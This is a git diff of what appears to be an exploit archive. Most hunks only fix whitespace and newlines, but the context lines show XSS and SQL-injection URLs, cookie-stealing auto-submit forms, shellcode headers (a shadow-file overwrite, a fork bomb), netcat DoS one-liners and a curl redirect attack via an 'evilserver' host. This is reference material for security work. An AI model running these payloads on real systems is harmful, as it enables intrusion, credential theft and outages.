-http://www.example.com/[agx_application]/pages/ucschcancelproc.jsp?returnpage=http://www.RedirectExample.com \ No newline at end of file +http://www.example.com/[agx_application]/pages/ucschcancelproc.jsp?returnpage=http://www.RedirectExample.com \ No newline at end of file diff --git a/platforms/jsp/webapps/34179.txt b/platforms/jsp/webapps/34179.txt index 2e7b845b4..5b29d165c 100755 --- a/platforms/jsp/webapps/34179.txt +++ b/platforms/jsp/webapps/34179.txt @@ -8,4 +8,4 @@ The issue affects version 6.7. The following example input to the URI is available: -?<script>alert(31521);</script>? \ No newline at end of file +?<script>alert(31521);</script>? \ No newline at end of file diff --git a/platforms/jsp/webapps/34440.txt b/platforms/jsp/webapps/34440.txt index e60c3ddbf..f835210a6 100755 --- a/platforms/jsp/webapps/34440.txt +++ b/platforms/jsp/webapps/34440.txt @@ -6,4 +6,4 @@ Exploiting this issue will allow an attacker to inject and execute arbitrary JSP The following example URI is available: -ttp://www.example.com/sitemindermonitor/doSave.jsp?file=../attacksample.jsp \ No newline at end of file +ttp://www.example.com/sitemindermonitor/doSave.jsp?file=../attacksample.jsp \ No newline at end of file diff --git a/platforms/jsp/webapps/35672.txt b/platforms/jsp/webapps/35672.txt index f7e8432a2..f587405e2 100755 --- a/platforms/jsp/webapps/35672.txt +++ b/platforms/jsp/webapps/35672.txt @@ -5,4 +5,4 @@ Cisco Unified Communications Manager is prone to multiple SQL-injection vulnerab Exploiting this issue could allow an authenticated attacker to compromise the affected device, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/ccmcip/xmldirectorylist.jsp?f=vsr'||0/1%20OR%201=1))%20-- -http://www.example.com/ccmcip/xmldirectorylist.jsp?f=vsr'||1/0%20OR%201=1))%20-- \ No newline at end of file +http://www.example.com/ccmcip/xmldirectorylist.jsp?f=vsr'||1/0%20OR%201=1))%20-- \ No newline at end of file diff --git a/platforms/jsp/webapps/35910.txt b/platforms/jsp/webapps/35910.txt index e15a7a8f1..8087a4f79 100755 --- a/platforms/jsp/webapps/35910.txt +++ b/platforms/jsp/webapps/35910.txt @@ -1,4 +1,4 @@ -################################################################################################ + ################################################################################################ # # # ...:::::ManageEngine EventLog Analyzer Directory Traversal/XSS Vulnerabilities::::.... # # ############################################################################################# @@ -54,3 +54,4 @@ Signal Network And Security Group (www.signal-net.net) E-mail: amirhadi.yazdani@gmail.com,a.h.yazdani@signal-net.net + \ No newline at end of file diff --git a/platforms/jsp/webapps/36357.txt b/platforms/jsp/webapps/36357.txt index 48acb3d03..63fe8b7e4 100755 --- a/platforms/jsp/webapps/36357.txt +++ b/platforms/jsp/webapps/36357.txt @@ -4,4 +4,4 @@ HP Network Node Manager i is prone to multiple unspecified cross-site scripting An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/protected/traceroute.jsp?nodename=[xss] \ No newline at end of file +http://www.example.com/protected/traceroute.jsp?nodename=[xss] \ No newline at end of file diff --git a/platforms/jsp/webapps/37550.txt b/platforms/jsp/webapps/37550.txt index 068ffc6c8..8d7ce031a 100755 --- a/platforms/jsp/webapps/37550.txt +++ b/platforms/jsp/webapps/37550.txt @@ -8,4 +8,4 @@ DataWatch Monarch Business Intelligence 5.1 is vulnerable; other versions may al http://www.example.com/ESAdmin/jsp/tabview.jsp?mode=add</script><script>alert(1)</script>&type=2&renew=1&pageid=PAGE_MPROCESS -http://www.example.com/ESClient/jsp/customizedialog.jsp?templateType=-1&doctypeid=122&activetab=DM_DOCUMENT_LIST&fields=filter;sort;summary;&searchtype=document'&doclist.jsp \ No newline at end of file +http://www.example.com/ESClient/jsp/customizedialog.jsp?templateType=-1&doctypeid=122&activetab=DM_DOCUMENT_LIST&fields=filter;sort;summary;&searchtype=document'&doclist.jsp \ No newline at end of file diff --git a/platforms/jsp/webapps/37802.html b/platforms/jsp/webapps/37802.html index 74716acc8..683ee4994 100755 --- a/platforms/jsp/webapps/37802.html +++ b/platforms/jsp/webapps/37802.html @@ -4,4 +4,4 @@ IFOBS is prone to multiple HTML-injection vulnerabilities. Exploiting these issues may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible. -IFOBS XSS-1.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="secondName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-2.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="firstName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-3.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="thirdName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-4.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="BirthDay" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="BirthYear" value="2012"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-5.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="BirthMonth" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="BirthYear" value="2012"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> \ No newline at end of file +IFOBS XSS-1.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="secondName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-2.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="firstName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-3.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="thirdName" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-4.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="BirthDay" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="BirthYear" value="2012"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> IFOBS XSS-5.html <html> <head> <title>IFOBS XSS exploit (C) 2012 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/ifobsClient/regclientprint.jsp"; method="post"> <input type="hidden" name="BirthMonth" value="<script>alert(document.cookie)</script>"> <input type="hidden" name="BirthYear" value="2012"> <input type="hidden" name="myaction" value="1"> </form> </body> </html> \ No newline at end of file diff --git a/platforms/jsp/webapps/38235.txt b/platforms/jsp/webapps/38235.txt index 698b32e86..d61d84b60 100755 --- a/platforms/jsp/webapps/38235.txt +++ b/platforms/jsp/webapps/38235.txt @@ -26,4 +26,4 @@ http://www.example.com/Filter=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3 http://www.example.com/Filter=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Asc=hi&Max=10&Jsf=Job&Jsf=Status&Jsf=User&Jsf=Date&Jsf=Description&Show=Filter -http://www.example.com/UpToVal=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&User=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Max=50&PatVal=...+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Client=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&AllC=y&Show=Filter \ No newline at end of file +http://www.example.com/UpToVal=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&User=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Max=50&PatVal=...+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Client=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&AllC=y&Show=Filter \ No newline at end of file diff --git a/platforms/jsp/webapps/38460.txt b/platforms/jsp/webapps/38460.txt index 452fffedf..557be0530 100755 --- a/platforms/jsp/webapps/38460.txt +++ b/platforms/jsp/webapps/38460.txt @@ -4,4 +4,4 @@ jPlayer is prone to a cross-site scripting vulnerability because it fails to suf An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/Jplayer.swf?id=%3Cimg%20src=x%20onerror=alert\u0028\u0027moin\u0027\u0029%3E&jQuery=document.write \ No newline at end of file +http://www.example.com/Jplayer.swf?id=%3Cimg%20src=x%20onerror=alert\u0028\u0027moin\u0027\u0029%3E&jQuery=document.write \ No newline at end of file diff --git a/platforms/jsp/webapps/40065.txt b/platforms/jsp/webapps/40065.txt index ac4dca4c3..29d08a7cf 100755 --- a/platforms/jsp/webapps/40065.txt +++ b/platforms/jsp/webapps/40065.txt @@ -678,4 +678,4 @@ Update to version 4.0.2 --- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream \ No newline at end of file +-- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream \ No newline at end of file diff --git a/platforms/lin_x86/shellcode/13418.c b/platforms/lin_x86/shellcode/13418.c index 709687bfb..dd2dfba1e 100755 --- a/platforms/lin_x86/shellcode/13418.c +++ b/platforms/lin_x86/shellcode/13418.c @@ -1,4 +1,4 @@ -/*--------------------------------------*/ + /*--------------------------------------*/ /* 64 byte alpha-numeric shellcode */ /* by XORt@dallas_2600 64bytes */ /*--------------------------------------*/ diff --git a/platforms/lin_x86/shellcode/13419.c b/platforms/lin_x86/shellcode/13419.c index a95ffc0e0..a44cb78da 100755 --- a/platforms/lin_x86/shellcode/13419.c +++ b/platforms/lin_x86/shellcode/13419.c @@ -1,4 +1,4 @@ -/*-----------------------------------------------------*/ + /*-----------------------------------------------------*/ /* Alpha-Numeric Shellcode using IMUL Method */ /* By XORt@dallas_2600) 88bytes */ /*-----------------------------------------------------*/ diff --git a/platforms/lin_x86/shellcode/13632.c b/platforms/lin_x86/shellcode/13632.c index bd3b9c532..b48bf0a00 100755 --- a/platforms/lin_x86/shellcode/13632.c +++ b/platforms/lin_x86/shellcode/13632.c @@ -1,4 +1,4 @@ -/* sekfault@shellcode.com.ar - Goodfellas Security Research Team - 2010 + /* sekfault@shellcode.com.ar - Goodfellas Security Research Team - 2010 * /usr/sbin/a2dismod mod-security2 - disable modsecurity * 64 bytes *__asm__( diff --git a/platforms/lin_x86/shellcode/13715.c b/platforms/lin_x86/shellcode/13715.c index b240107f3..95141f465 100755 --- a/platforms/lin_x86/shellcode/13715.c +++ b/platforms/lin_x86/shellcode/13715.c @@ -1,4 +1,4 @@ -/* + /* | Title: Linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shellcode 83 Bytes | Description: replace root's password with hash of "agix" in MD5 diff --git a/platforms/lin_x86/shellcode/13716.c b/platforms/lin_x86/shellcode/13716.c index 5e82f41f6..5e8ae30e3 100755 --- a/platforms/lin_x86/shellcode/13716.c +++ b/platforms/lin_x86/shellcode/13716.c @@ -1,4 +1,4 @@ -/* + /* | Title: Linux/x86 alphanumeric Bomb FORK Shellcode 117 Bytes | Type: Shellcode | Author: agix diff --git a/platforms/lin_x86/shellcode/13726.txt b/platforms/lin_x86/shellcode/13726.txt index cabce833a..2f778885f 100755 --- a/platforms/lin_x86/shellcode/13726.txt +++ b/platforms/lin_x86/shellcode/13726.txt @@ -37,4 +37,4 @@ int main(void) door(); return 0; -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/linux/dos/15062.txt b/platforms/linux/dos/15062.txt index ae75c8e56..04f83f67b 100755 --- a/platforms/linux/dos/15062.txt +++ b/platforms/linux/dos/15062.txt @@ -110,3 +110,4 @@ PoC + \ No newline at end of file diff --git a/platforms/linux/dos/18225.c b/platforms/linux/dos/18225.c index 8a68f78f0..76917190c 100755 --- a/platforms/linux/dos/18225.c +++ b/platforms/linux/dos/18225.c @@ -1,6 +1,6 @@ ############################################################################ # Exploit Title: CSF Firewall Buffer overflow p0c -# DownLoaD : http://www.configserver/free/csf.tgz +# DownLoaD : http://www.configserver.com/free/csf.tgz # Date: 2011-12-09 # Author: FoX HaCkEr # site : www.sec4ever.com @@ -13,7 +13,7 @@ FiLe : CSF.c /* * Copyright 2006-2011, Way to the Web Limited - * URL: http://www.configserver + * URL: http://www.configserver.com * Email: sales@waytotheweb.com */ #include <stdio.h> @@ -106,4 +106,4 @@ N0 ExpLoiT ScRipt KiiiD'z Gr33T'z : ALL My Friends .............. - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/linux/dos/19271.c b/platforms/linux/dos/19271.c index d6beddcd8..01f8f763e 100755 --- a/platforms/linux/dos/19271.c +++ b/platforms/linux/dos/19271.c @@ -119,4 +119,4 @@ pthread_create(&j,NULL,Thread2,NULL); while(1) sleep(1); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/linux/dos/19272.txt b/platforms/linux/dos/19272.txt index 4a6feba2e..fa0831400 100755 --- a/platforms/linux/dos/19272.txt +++ b/platforms/linux/dos/19272.txt @@ -10,4 +10,4 @@ Take any core file, [user@box tmp]$ ldd core -[reboot] \ No newline at end of file +[reboot] \ No newline at end of file diff --git a/platforms/linux/dos/19282.c b/platforms/linux/dos/19282.c index 445ab50fe..aaaacfa82 100755 --- a/platforms/linux/dos/19282.c +++ b/platforms/linux/dos/19282.c @@ -338,4 +338,4 @@ usleep(SLEEP_UTIME); return 0; -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/linux/dos/19818.c b/platforms/linux/dos/19818.c index 4f768eba0..4e83e3105 100755 --- a/platforms/linux/dos/19818.c +++ b/platforms/linux/dos/19818.c @@ -24,4 +24,4 @@ strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) ); LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 ); sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) ); return 0; -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/linux/dos/20025.txt b/platforms/linux/dos/20025.txt index fd1c7566a..f4ab9aeea 100755 --- a/platforms/linux/dos/20025.txt +++ b/platforms/linux/dos/20025.txt @@ -25,4 +25,4 @@ program vers proto port 100000 2 udp 111 portmapper 100024 1 udp 831 status 100024 1 tcp 833 status -[root@hiro /]# \ No newline at end of file +[root@hiro /]# \ No newline at end of file diff --git a/platforms/linux/dos/2051.py b/platforms/linux/dos/2051.py index 8118d4de2..52a61ac74 100755 --- a/platforms/linux/dos/2051.py +++ b/platforms/linux/dos/2051.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python + #!/usr/bin/env python # # redsand@blacksecurity.org # Sendmail 8.13.5 and below Remote Signal Handling exploit @@ -295,3 +295,4 @@ xpl=substr(xpl,atom,len(xpl)) """ # milw0rm.com [2006-07-21] + \ No newline at end of file diff --git a/platforms/linux/dos/20535.txt b/platforms/linux/dos/20535.txt index 15e3dacd8..8fd428a18 100755 --- a/platforms/linux/dos/20535.txt +++ b/platforms/linux/dos/20535.txt @@ -4,4 +4,4 @@ ReiserFS is a file system alternative to the Linux ext2 file system. It was orig A problem has been reported in the handling of long file names with ReiserFS version 3.5.28 on SuSE Linux distribution 7.0. It is possible to create a directory with a long file name (the initial example displayed a directory with 768 characters), then attempt to list the file system using system binary ls or with built in shell function echo and create a Denial of Service. Upon attempting to list or echo the contents of the filesystem, a kernel buffer overflow occurs, overwriting variables on the stack including possibly the return address, as well as crashing the system. It may be possible for a malicious user to execute arbitrary code, deny service to legitimate users, and potentially break out of a chroot environment. This vulnerability is yet unverified. -mkdir "$(perl -e 'print "x" x 768')" \ No newline at end of file +mkdir "$(perl -e 'print "x" x 768')" \ No newline at end of file diff --git a/platforms/linux/dos/20747.txt b/platforms/linux/dos/20747.txt index e80118008..405a3baf1 100755 --- a/platforms/linux/dos/20747.txt +++ b/platforms/linux/dos/20747.txt @@ -6,4 +6,4 @@ A request string could be constructed to trigger the overflow and allow a malici Assuming the OAS prefix is /jsp/ and the vulnerable host is 'victim', the following command issued by the attacker will cause the iWS to coredump: -perl -e 'print "GET /jsp/","A"x2050," HTTP/1.0\n\n"' | nc victim 80 \ No newline at end of file +perl -e 'print "GET /jsp/","A"x2050," HTTP/1.0\n\n"' | nc victim 80 \ No newline at end of file diff --git a/platforms/linux/dos/20750.txt b/platforms/linux/dos/20750.txt index 38c0c6cbd..32bd04bf8 100755 --- a/platforms/linux/dos/20750.txt +++ b/platforms/linux/dos/20750.txt @@ -6,4 +6,4 @@ A problem with the software package could lead elevated privileges on the scanni Therefore, it is possible for a remote user to exploit buffer overflows in the cgi programs packaged with Interscan Viruswall, and execute arbitrary commands are root on the system hosting Viruswall. -http://server:1812/catinfo?4500xA \ No newline at end of file +http://server:1812/catinfo?4500xA \ No newline at end of file diff --git a/platforms/linux/dos/21141.txt b/platforms/linux/dos/21141.txt index 2d560075c..818c679d0 100755 --- a/platforms/linux/dos/21141.txt +++ b/platforms/linux/dos/21141.txt @@ -5,4 +5,4 @@ TUX is a kernel based HTTP server released under the GNU General Public License. An error exists when the TUX daemon received an oversized Host: header as part of a HTTP request. The request will result in an assertation failure and eventually in a kernel panic. At this point a system reboot will be required to regain normal functionality. perl -e "print qq(GET / HTTP/1.0\nAccept: */*\nHost: ) . qq(A) x 6000 . -qq(\n)" |nc <ip address> <dest_port> \ No newline at end of file +qq(\n)" |nc <ip address> <dest_port> \ No newline at end of file diff --git a/platforms/linux/dos/21202.txt b/platforms/linux/dos/21202.txt index 20223d244..f1ff7adc8 100755 --- a/platforms/linux/dos/21202.txt +++ b/platforms/linux/dos/21202.txt @@ -10,4 +10,4 @@ a sample awhttpd script looks like this: # test.cgi --AWHTTPD SCRIPT-- echo "this is a test" -F:test.html \ No newline at end of file +F:test.html \ No newline at end of file diff --git a/platforms/linux/dos/21518.txt b/platforms/linux/dos/21518.txt index 452250d4e..55abea18f 100755 --- a/platforms/linux/dos/21518.txt +++ b/platforms/linux/dos/21518.txt @@ -7,4 +7,4 @@ Remote exploitation of this issue is possible via web clients or other applicati This is reported to affect various X Window System implementations, including XFree86. Include a huge font size in your style sheet definition, e.g.: -body { font-size: 1666666px; } \ No newline at end of file +body { font-size: 1666666px; } \ No newline at end of file diff --git a/platforms/linux/dos/21534.jsp b/platforms/linux/dos/21534.jsp index 6818f7517..ce76b2d0a 100755 --- a/platforms/linux/dos/21534.jsp +++ b/platforms/linux/dos/21534.jsp @@ -26,4 +26,4 @@ new WPrinterJob().pageSetup(null,null); %> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/linux/dos/21580.txt b/platforms/linux/dos/21580.txt index 9a75688ca..4c3316f34 100755 --- a/platforms/linux/dos/21580.txt +++ b/platforms/linux/dos/21580.txt @@ -6,4 +6,4 @@ A buffer overflow vulnerability has been reported in the Inktomi Traffic Server. Reportedly, executing traffic_manager with an excessively long commandline argument will cause the buffer overflow condition. As traffic_manager is a setuid root binary, it is possible for a remote attacker to obtain root, or superuser, privileges on a compromised system. -traffic_manager -path `perl -e 'print "A"x1720'` < \ No newline at end of file +traffic_manager -path `perl -e 'print "A"x1720'` < \ No newline at end of file diff --git a/platforms/linux/dos/21985.txt b/platforms/linux/dos/21985.txt index c33103c19..f1ae20fdd 100755 --- a/platforms/linux/dos/21985.txt +++ b/platforms/linux/dos/21985.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/6120/info A heap corruption may occur when Pine receives an email message containing a particularly crafted "From:" address. Though the address is RFC compliant, Pine reportedly fails to parse it correctly, resulting in a core dump. Execution of arbitrary code may be possible. -"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\""@host.fubar \ No newline at end of file +"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\""@host.fubar \ No newline at end of file diff --git a/platforms/linux/dos/22243.txt b/platforms/linux/dos/22243.txt index b76a32ece..3c7291db8 100755 --- a/platforms/linux/dos/22243.txt +++ b/platforms/linux/dos/22243.txt @@ -6,4 +6,4 @@ SET A=A<260 chars>A SET B=BBBBBBBBBBBBBBBB mkdir \\?\c:\%A% mkdir \\?\c:\%A%\%A% -mkdir \\?\c:\%A%\%B%\ \ No newline at end of file +mkdir \\?\c:\%A%\%B%\ \ No newline at end of file diff --git a/platforms/linux/dos/22446.txt b/platforms/linux/dos/22446.txt index a7917b466..ccf5a95de 100755 --- a/platforms/linux/dos/22446.txt +++ b/platforms/linux/dos/22446.txt @@ -4,4 +4,4 @@ It has been reported that the EZ Server software does not sufficiently handle st ls AX (where X is a value of A repeated an additional 1993 times) -cd AX (where X is a value of A repeated an additional 1994 times) \ No newline at end of file +cd AX (where X is a value of A repeated an additional 1994 times) \ No newline at end of file diff --git a/platforms/linux/dos/22508.sh b/platforms/linux/dos/22508.sh index 9e1360afe..2780e2fbd 100755 --- a/platforms/linux/dos/22508.sh +++ b/platforms/linux/dos/22508.sh @@ -4,4 +4,4 @@ A denial of service vulnerability has been reported for Xinetd. The vulnerabilit Numerous, repeated connections to a vulnerable Xinetd server will result in the consumption of all available memory resources thereby causing a denial of service condition. -while true; do telnet localhost chargen < /dev/null; done; \ No newline at end of file +while true; do telnet localhost chargen < /dev/null; done; \ No newline at end of file diff --git a/platforms/linux/dos/22560.txt b/platforms/linux/dos/22560.txt index 2254f4553..aa239b406 100755 --- a/platforms/linux/dos/22560.txt +++ b/platforms/linux/dos/22560.txt @@ -6,4 +6,4 @@ Although unconfirmed, code execution may be possible. The precise technical details of this vulnerability are currently unknown. This BID will be updated, as further information is available. -perl -e "print qq'\xFF\xFE'; print qq'\r\r\n' x 30000" > freeze.htm \ No newline at end of file +perl -e "print qq'\xFF\xFE'; print qq'\r\r\n' x 30000" > freeze.htm \ No newline at end of file diff --git a/platforms/linux/dos/22619.txt b/platforms/linux/dos/22619.txt index 7f5459cbd..e0ad82c3e 100755 --- a/platforms/linux/dos/22619.txt +++ b/platforms/linux/dos/22619.txt @@ -9,4 +9,4 @@ This issue may be exploited by remote attackers to deny cupsd service to valid u $ telnet <your_favorite_cups_server> ipp POST /printers/<your_favorite_printer> HTTP/1.1 -Don't enter the second carriage return to complete the headers, just the POST line and one carriage return. \ No newline at end of file +Don't enter the second carriage return to complete the headers, just the POST line and one carriage return. \ No newline at end of file diff --git a/platforms/linux/dos/22796.php b/platforms/linux/dos/22796.php index 85519918b..7ac396bf6 100755 --- a/platforms/linux/dos/22796.php +++ b/platforms/linux/dos/22796.php @@ -12,4 +12,4 @@ die(); } shmop_write($shmid, str_repeat('A', SHMSIZE), 0); -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/linux/dos/22814.txt b/platforms/linux/dos/22814.txt index fe364446f..476663eb6 100755 --- a/platforms/linux/dos/22814.txt +++ b/platforms/linux/dos/22814.txt @@ -4,4 +4,4 @@ A heap overflow vulnerability has been reported for the pr-edit utility of GNATS Successful exploitation may result in the execution of attacker-supplied code with potentially elevated privileges. -/usr/local/lib/gnats/./pr-edit -d`perl -e 'print "x"x9000'` \ No newline at end of file +/usr/local/lib/gnats/./pr-edit -d`perl -e 'print "x"x9000'` \ No newline at end of file diff --git a/platforms/linux/dos/23076.pl b/platforms/linux/dos/23076.pl index ed8a895ac..91cd629be 100755 --- a/platforms/linux/dos/23076.pl +++ b/platforms/linux/dos/23076.pl @@ -88,3 +88,4 @@ foreach my $command (@commands) { } $mysql->close; + \ No newline at end of file diff --git a/platforms/linux/dos/23172.txt b/platforms/linux/dos/23172.txt index ff0e76961..02b8a451c 100755 --- a/platforms/linux/dos/23172.txt +++ b/platforms/linux/dos/23172.txt @@ -7,4 +7,4 @@ This issue was reported for Gauntlet Firewall version 6, running on Solaris. Oth for a in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 do telnet aaa.bbb.ccc.ddd 1521 -done \ No newline at end of file +done \ No newline at end of file diff --git a/platforms/linux/dos/23349.txt b/platforms/linux/dos/23349.txt index 4a197133a..aba42fb4b 100755 --- a/platforms/linux/dos/23349.txt +++ b/platforms/linux/dos/23349.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/8990/info IBM DB2 has been reported to be prone to multiple buffer overflow vulnerabilities that present themselves in binaries that are shipped with DB2. The vulnerabilities are likely caused due to a lack of sufficient boundary checks performed on user supplied command-line arguments before they are copied into a reserved buffer in memory. It has been reported that by supplying arguments of excessive length to the respective vulnerable executables a local attacker may trigger the execution of arbitrary attacker-supplied instructions with elevated privileges. [db2inst1@RiotStarter adm]$ ./db2govd stop a `perl -e 'print "A" x 65'` -Segmentation fault \ No newline at end of file +Segmentation fault \ No newline at end of file diff --git a/platforms/linux/dos/23375.txt b/platforms/linux/dos/23375.txt index 2c72d51c2..8a9ca80c7 100755 --- a/platforms/linux/dos/23375.txt +++ b/platforms/linux/dos/23375.txt @@ -4,4 +4,4 @@ It has been reported that Zebra, as well as Quagga, may be vulnerable to a remot All versions of GNU Zebra are said to be vulnerable to this issue. All versions of Quagga prior to 0.96.4 are also vulnerable. -printf '\xff\xf0\xff\xf0\xff\xf0' | nc <host> <port> \ No newline at end of file +printf '\xff\xf0\xff\xf0\xff\xf0' | nc <host> <port> \ No newline at end of file diff --git a/platforms/linux/dos/23943.txt b/platforms/linux/dos/23943.txt index e44ec0a7b..410a6f75b 100755 --- a/platforms/linux/dos/23943.txt +++ b/platforms/linux/dos/23943.txt @@ -4,4 +4,4 @@ It has been reported that Crackalaka may be prone to a remote denial of service Crackalaka version 1.0.8 is reported to be prone to this issue, however, other versions could be vulnerable as well. -nc [host] 6667 < /dev/urandom \ No newline at end of file +nc [host] 6667 < /dev/urandom \ No newline at end of file diff --git a/platforms/linux/dos/23946.c b/platforms/linux/dos/23946.c index a0933892c..69f16438a 100755 --- a/platforms/linux/dos/23946.c +++ b/platforms/linux/dos/23946.c @@ -23,3 +23,4 @@ int main() while (1) sleep(1); } + \ No newline at end of file diff --git a/platforms/linux/dos/24487.py b/platforms/linux/dos/24487.py index 8ae800562..82607996e 100755 --- a/platforms/linux/dos/24487.py +++ b/platforms/linux/dos/24487.py @@ -7,17 +7,17 @@ Vendor notified, CVE-2013-0249 relased. Attack Concept Outline -We have the permissions to send custom HTTP requests with curl. We send request to our http://evilserver/ +We have the permissions to send custom HTTP requests with curl. We send request to our http://evilserver.com/ GET / HTTP/1.0 -Host: evilserver +Host: evilserver.com server answers with HTTP/1.0 302 Found -Location: pop3://x:x@evilserver/. +Location: pop3://x:x@evilserver.com/. -"smart" curl interpretes redirect and connects to evilserver port 110/TCP using POP3 proto. Server answers +"smart" curl interpretes redirect and connects to evilserver.com port 110/TCP using POP3 proto. Server answers +OK POP3 server ready diff --git a/platforms/linux/dos/25004.txt b/platforms/linux/dos/25004.txt index 4bc1956cc..2904f2b25 100755 --- a/platforms/linux/dos/25004.txt +++ b/platforms/linux/dos/25004.txt @@ -4,4 +4,4 @@ QwikMail (qwik-smtpd) is reported prone to a remotely exploitable buffer overflo This issue could theoretically be exploited to execute arbitrary code. Due to the memory layout, it is also reportedly possible to overwrite an adjacent buffer in a manner that will allow a remote attacker to abuse the server as an unauthorized mail relay. -HELO AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA127.0.0.1 \ No newline at end of file +HELO AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA127.0.0.1 \ No newline at end of file diff --git a/platforms/linux/dos/25017.txt b/platforms/linux/dos/25017.txt index b65363f49..cd3b557d4 100755 --- a/platforms/linux/dos/25017.txt +++ b/platforms/linux/dos/25017.txt @@ -4,4 +4,4 @@ The uml_utilites uml_net application may permit unprivileged malicious local use This vulnerability could be exploited to deny network services over slip on an affected computer. -uml_net 4 slip down eth0 \ No newline at end of file +uml_net 4 slip down eth0 \ No newline at end of file diff --git a/platforms/linux/dos/25164.txt b/platforms/linux/dos/25164.txt index 94c75d46e..b6d2de52e 100755 --- a/platforms/linux/dos/25164.txt +++ 